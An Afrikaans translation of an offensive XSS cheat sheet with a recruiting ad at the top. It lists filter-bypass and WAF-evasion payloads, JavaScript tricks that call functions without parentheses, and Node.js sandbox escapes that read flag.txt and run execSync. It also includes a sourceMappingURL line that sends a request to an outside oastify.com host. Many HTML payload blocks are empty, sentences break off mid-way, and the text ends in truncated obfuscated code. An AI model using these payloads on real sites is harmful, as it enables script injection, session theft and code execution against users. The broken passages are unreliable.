# XSS (Cross Site Scripting)
As jy belangstel in **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_). {% embed url="https://www.stmcyber.com/careers" %} ## Metodologie 1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koppe_?, _koekies_?) in die HTML **weerspieël** word of deur **JS**-kode **gebruik** word. 2. Vind die konteks waar dit weerspieël/gebruik word. 3. Indien **weerspieël** 1. Kontroleer **watter simbole jy kan gebruik** en afhangende daarvan, berei die lading voor: 1. In **rou HTML**: 1. Kan jy nuwe HTML-etikette skep? 2. Kan jy gebeure of eienskappe gebruik wat die `javascript:` protokol ondersteun? 3. Kan jy beskermings omseil? 4. Word die HTML-inhoud deur enige kliëntkant JS-enjin geïnterpreteer (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliëntkant Sjablooninspuiting**](../client-side-template-injection-csti.md) misbruik. 5. As jy nie HTML-etikette kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Merkteken - HTML-skriptlose inspuiting**](../dangling-markup-html-scriptless-injection/) misbruik? 2. Binne 'n **HTML-etiket**: 1. Kan jy na rou HTML-konteks ontsnap? 2. Kan jy nuwe gebeure/eienskappe skep om JS-kode uit te voer? 3. Ondersteun die eienskap waarin jy vasgevang is JS-uitvoering? 4. Kan jy beskermings omseil? 3. Binne **JavaScript-kode**: 1. Kan jy die ``** etikette van 'n HTML-bladsy, binne 'n `.js` lêer of binne 'n eienskap wat die **`javascript:`** protokol gebruik: * As dit weerspieël word tussen **``** etikette, selfs as jou inset binne enige soort aanhalingstekens is, kan jy probeer om `` in te spuit en te ontsnap uit hierdie konteks. Dit werk omdat die **blaaier eers die HTML-etikette sal ontledig** en dan die inhoud, daarom sal dit nie agterkom dat jou ingespotte `` etiket binne die HTML-kode is nie. * As dit weerspieël word **binne 'n JS-string** en die vorige truuk nie werk nie, sal jy die string moet **verlaat**, jou kode **uitvoer** en die JS-kode **herkonstrueer** (as daar enige fout is, sal dit nie uitgevoer word nie): * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * As dit binne sjabloonliterale weerspieël word, kan jy **JS-uitdrukkings** inbed met behulp van `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` `` * **Unicode-kodering** werk om **geldige javascript-kode** te skryf: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Javascript Hoisting Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of klasse te verklaar nadat hulle gebruik is sodat jy scenarios kan misbruik waar 'n XSS onverklaarde veranderlikes of funksies gebruik.**\ **Kyk na die volgende bladsy vir meer inligting:** {% content-ref url="js-hoisting.md" %} [js-hoisting.md](js-hoisting.md) {% endcontent-ref %} ### Javascript Funksie Verskeie webbladsye het eindpunte wat **die naam van die funksie aanvaar om uit te voer as parameter**. 'n Algemene voorbeeld wat jy in die wild kan sien, is iets soos: `?callback=callbackFunc`. 'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee word, probeer uitgevoer word, is deur **die paramwaarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos: ![](<../../.gitbook/assets/image (711).png>) Indien dit vatbaar is, kan jy dalk 'n **waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte die inhoud **valideer** om slegs letters, syfers, kolletjies en onderstrepe toe te laat (**`[\w\._]`**). Nietemin, selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om enige element in die DOM **te benader**: ![](<../../.gitbook/assets/image (747).png>) Sommige nuttige funksies hiervoor: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Jy kan ook probeer om **Javascript funksies direk te aktiveer**: `obj.sales.delOrders`. Gewoonlik is die eindpunte wat die aangeduide funksie uitvoer eindpunte sonder baie interessante DOM, **ander bladsye in dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer. Daarom is die **Selfde Oorsprong Metode Uitvoering (SOME)** uitbuiting ontwikkel om hierdie kwesbaarheid in 'n ander DOM te **misbruik**: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM Daar is **JS-kode** wat **onveilig** van 'n aanvaller beheerde data gebruik soos `location.href`. 'n Aanvaller kan dit misbruik om willekeurige JS-kode uit te voer. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **Universale XSS** Hierdie soort XSS kan **oral** gevind word. Dit hang nie net af van die kliënt-uitbuiting van 'n webtoepassing nie, maar van **enige** **konteks**. Hierdie soort **willekeurige JavaScript-uitvoering** kan selfs misbruik word om **RCE** te verkry, **willekeurige lêers te lees** op kliënte en bedieners, en meer.\ Sommige **voorbeelde**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} ## WAF omseil enkodering van afbeelding ![vanaf https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>) ## Ins spuiting binne rou HTML Wanneer jou inset **binne die HTML-bladsy** gereflekteer word of jy HTML-kode kan ontsnap en inspuit in hierdie konteks, is die **eerste** ding wat jy moet doen, om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **reflekteer** en kyk of dit **HTML-geënkripteer** word of **verwyder** of as dit sonder veranderinge **gereflekteer** word. **Slegs in die laaste geval sal jy hierdie geval kan uitbuit**.\ Vir hierdie gevalle moet jy ook in gedag hou [**Kliëntkant Sjablooninspuiting**](../client-side-template-injection-csti.md)**.**\ _**Nota: 'n HTML-kommentaar kan gesluit word met**** ****`-->`**** ****of**** ****`--!>`**_ In hierdie geval, en as geen swartlys/witlys gebruik word nie, kan jy ladingstukke soos gebruik: ```html ``` Maar, as tags/kenmerke swartlys/witlys gebruik word, sal jy moet **brute-force watter tags** jy kan skep.\ Sodra jy **geïdentifiseer het watter tags toegelaat word**, sal jy moet **brute-force kenmerke/gebeurtenisse** binne die gevonde geldige tags om te sien hoe jy die konteks kan aanval. ### Tags/Gebeurtenisse brute-force Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na knipbord**_. Stuur dan almal met Burp intruder en kontroleer of enige tags nie as skadelik deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeurtenisse** gebruik met die geldige tags (op dieselfde webbladsy klik op _**Kopieer gebeurtenisse na knipbord**_ en volg dieselfde prosedure as voorheen). ### Aangepaste tags As jy geen geldige HTML-tag gevind het nie, kan jy probeer om **'n aangepaste tag te skep** en JS-kode uit te voer met die `onfocus` kenmerk. In die XSS-versoek moet jy die URL eindig met `#` om die bladsy **te fokus op daardie objek** en die kode **uit te voer**: ``` /?search=#x ``` ### Swartlys Verbygaan Indien 'n soort swartlys gebruik word, kan jy probeer om dit te verbygaan met 'n paar dom truuks: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Merk op dat as jy probeer om **beide** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodeer, sal dit **nie werk nie**, maar jy kan hulle **binne die payload meng**. **Die gebruik van Hex en Octal kodeer met `javascript:`** Jy kan **Hex** en **Octal kodeer** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML-tags te verklaar om JS uit te voer**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Omgekeerde tab nabbing ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS in "Onuitbuitbare tags" (verborge invoer, skakel, kanonieke, meta) Vanaf [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborge insette te misbruik met:** ```html
Newsletter popup
``` Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS-lading binne 'n verborge attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangssleutel attribuut te gebruik. Hier is die vektor: ```markup ``` **Die XSS-lading sal iets soos hierdie wees: `" accesskey="x" onclick="alert(1)" x="`** ### Swartlys deurlooppaaie Verskeie truuks met die gebruik van verskillende enkodering is reeds binne hierdie afdeling blootgestel. Gaan **terug om te leer waar jy kan gebruik:** * **HTML-enkodering (HTML-etikette)** * **Unicode-enkodering (kan geldige JS-kode wees):** `\u0061lert(1)` * **URL-enkodering** * **Heks en Oktale enkodering** * **data-enkodering** **Deurlooppaaie vir HTML-etikette en eienskappe** Lees die [Swartlys deurlooppaaie van die vorige afdeling](./#blacklist-bypasses). **Deurlooppaaie vir JavaScript-kode** Lees die [JavaScript deurloop swartlys van die volgende afdeling](./#javascript-bypass-blacklists-techniques). ### CSS-Gadgets As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voetnota met 'n onmouseover element), kan jy probeer om **die spasie wat die element inneem te wysig** om die kanse te maksimeer om die skakel te laat afgaan. Byvoorbeeld, jy kan bietjie styl by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Maar, as die WAF die styl-eienskap filter, kan jy CSS Styling Gadgets gebruik, so as jy byvoorbeeld vind > .toets {display:block; color: blue; width: 100%\} en > \#someid {top: 0; font-family: Tahoma;} Nou kan jy ons skakel wysig en dit na die vorm bring > \ Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Ins spuit binne JavaScript-kode In hierdie geval sal jou **inset** binne die JS-kode wees wat gereflekteer word in 'n `.js`-lêer of tussen ``-etikette of tussen HTML-gebeurtenisse wat JS-kode kan uitvoer of tussen eienskappe wat die `javascript:`-protokol aanvaar. ### Ontsnapping van die \` ingevoeg word, kan jy maklik die **ontsnapping van die sluiting van die ` ``` Merk op dat ons in hierdie voorbeeld selfs die enkel aanhalingsteken **nie eers gesluit het nie**. Dit is omdat **HTML-analise word eerste deur die webblaaier** uitgevoer, wat die identifisering van bladsyelemente insluit, insluitend blokke van skrips. Die analisering van JavaScript om die ingeslote skripte te verstaan en uit te voer, word eers daarna uitgevoer. ### Binne JS-kode As `<>` gesanitiseer word, kan jy steeds die string **ontvlug** waar jou inset is **geleë** en **arbitrêre JS uitvoer**. Dit is belangrik om die JS-sintaksie te **regmaak**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Sjabloonliterale \`\` Om **strings** saam te stel behalwe enkel en dubbele aanhalingstekens, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as sjabloonliterale omdat hulle toelaat om **ingeslote JS-uitdrukkings** te gebruik met behulp van `${ ... }`-sintaksis.\ Daarom, as jy vind dat jou inset binne 'n JS-string **weerspieël** word wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **willekeurige JS-kode** uit te voer: Dit kan **misbruik** word deur: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### Geënkripteerde kode-uitvoering ```markup ``` **Javascript binne 'n kommentaar** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript sonder hakies** ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Willekeurige funksie (alert) oproep** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **DOM kwesbaarhede** Daar is **JS-kode** wat **onveilig deur 'n aanvaller beheerde data** gebruik soos `location.href`. 'n Aanvaller kan dit misbruik om willekeurige JS-kode uit te voer.\ **As gevolg van die uitbreiding van die verduideliking van** [**DOM kwesbaarhede is dit na hierdie bladsy verskuif**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} Daar sal jy 'n gedetailleerde **verduideliking van wat DOM kwesbaarhede is, hoe hulle uitgelok word, en hoe om hulle te benut** vind.\ Moenie ook vergeet dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering). ## Ander Oorskrydings ### Gestandaardiseerde Unicode Jy kan nagaan of die **weerspieëlde waardes** op die bediener (of aan die kliëntkant) **unicode genormaliseer** word en hierdie funksionaliteit misbruik om beskermings te omseil. [**Vind 'n voorbeeld hier**](../unicode-injection/#xss-cross-site-scripting). ### PHP FILTER\_VALIDATE\_EMAIL vlag Oorskryding ```javascript ">"@x.y ``` ### Ruby-On-Rails omseiling As gevolg van **RoR massatoewysing** word aanhalings in die HTML ingevoeg en dan word die aanhalingsbeperking omseil en addisionele velde (onfocus) kan binne die tag bygevoeg word.\ Vormvoorbeeld ([van hierdie verslag](https://hackerone.com/reports/709336)), as jy die lading stuur: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` Die paar "Sleutel","Waarde" sal teruggevoer word soos dit: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` ### Spesiale kombinasies ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS met koptekstinjeksie in 'n 302-antwoord As jy vind dat jy **koptekste kan inspuit in 'n 302 Herlei-antwoord** kan jy probeer om die blaai uit te voer om arbitrêre JavaScript uit te voer. Dit is **nie maklik nie** aangesien moderne blaaier nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n kruissite-skripsinglading is nutteloos. In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Ligging-koptekstuk kan toets en sien of enige van hulle die blaai toelaat om die XSS-lading binne die liggaam te inspekteer en uit te voer. Bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Ligging-koptekstuk_, `resource://`. ### Slegs Letters, Syfers en Kolletjies As jy in staat is om die **terugroep** aan te dui wat javascript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](./#javascript-function) om uit te vind hoe om hierdie gedrag te misbruik. ### Geldige ` ``` Die antwoord is: * **module** (verstek, niks om te verduidelik nie) * [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk waar jy 'n klomp data (HTML, CSS, JS...) saam in 'n **`.wbn`** lêer kan pakketteer. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * [**importmap**](https://github.com/WICG/import-maps)**:** Laat toe om die invoer sintaksis te verbeter ```html ``` Hierdie gedrag is gebruik in [**hierdie skryfstuk**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herken aan eval om dit te misbruik en XSS te veroorsaak. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om sekere probleme veroorsaak deur vooraf-rendering op te los. Dit werk soos volg: ```html ``` ### Web Inhoudstipes vir XSS (Vanaf [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende inhoudstipes kan XSS uitvoer in alle webblaaier: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? nie op die lys nie, maar ek dink ek het dit gesien in 'n CTF) * application/rss+xml (af) * application/atom+xml (af) In ander webblaaier kan ander **`Inhoudstipes`** gebruik word om willekeurige JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Inhoudstipe As die bladsy 'n text/xml inhoudstipe terugstuur, is dit moontlik om 'n namespace aan te dui en willekeurige JS uit te voer: ```xml hello ``` ### Spesiale Vervangingspatrone Wanneer iets soos **`"some {{template}} data".replace("{{template}}", )`** gebruik word. Die aanvaller kan [**spesiale stringvervanginge**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) gebruik om te probeer om sekere beskermings te omseil: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` Byvoorbeeld in [**hierdie skryfstuk**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), is dit gebruik om 'n JSON-string binne 'n skripsie te ontsnap en arbitrêre kode uit te voer. ### Chrome Cache na XSS {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} ### XS Jails Ontsnapping As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail-probleme: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Indien **alles ongedefinieerd is** voor die uitvoering van onbetroubare kode (soos in [**hierdie skryfstuk**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) is dit moontlik om nuttige voorwerpe "uit niks" te genereer om die uitvoering van willekeurige onbetroubare kode te misbruik: * Deur import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * Toegang tot `require` op 'n indirekte manier [Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) word modules deur Node.js binne 'n funksie gewikkel, soos hierdie: ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` Daarom, as ons van daardie module **'n ander funksie kan roep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om toegang te verkry tot **`require`**: {% code overflow="wrap" %} ```javascript (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() ``` {% endcode %} Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanteraars te gebruik** om toegang te kry tot die **omhulsel** van die module en die **`require`**-funksie te kry: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = ''.constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log('='.repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req('child_process').execSync('id').toString()) } } } trigger() ``` ### Verduistering & Gevorderde Oorspoel * **Verskillende verduisterings op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) * Meer gesofistikeerde JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ //*´∇｀*/ ['_']; o=(ﾟｰﾟ) =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) 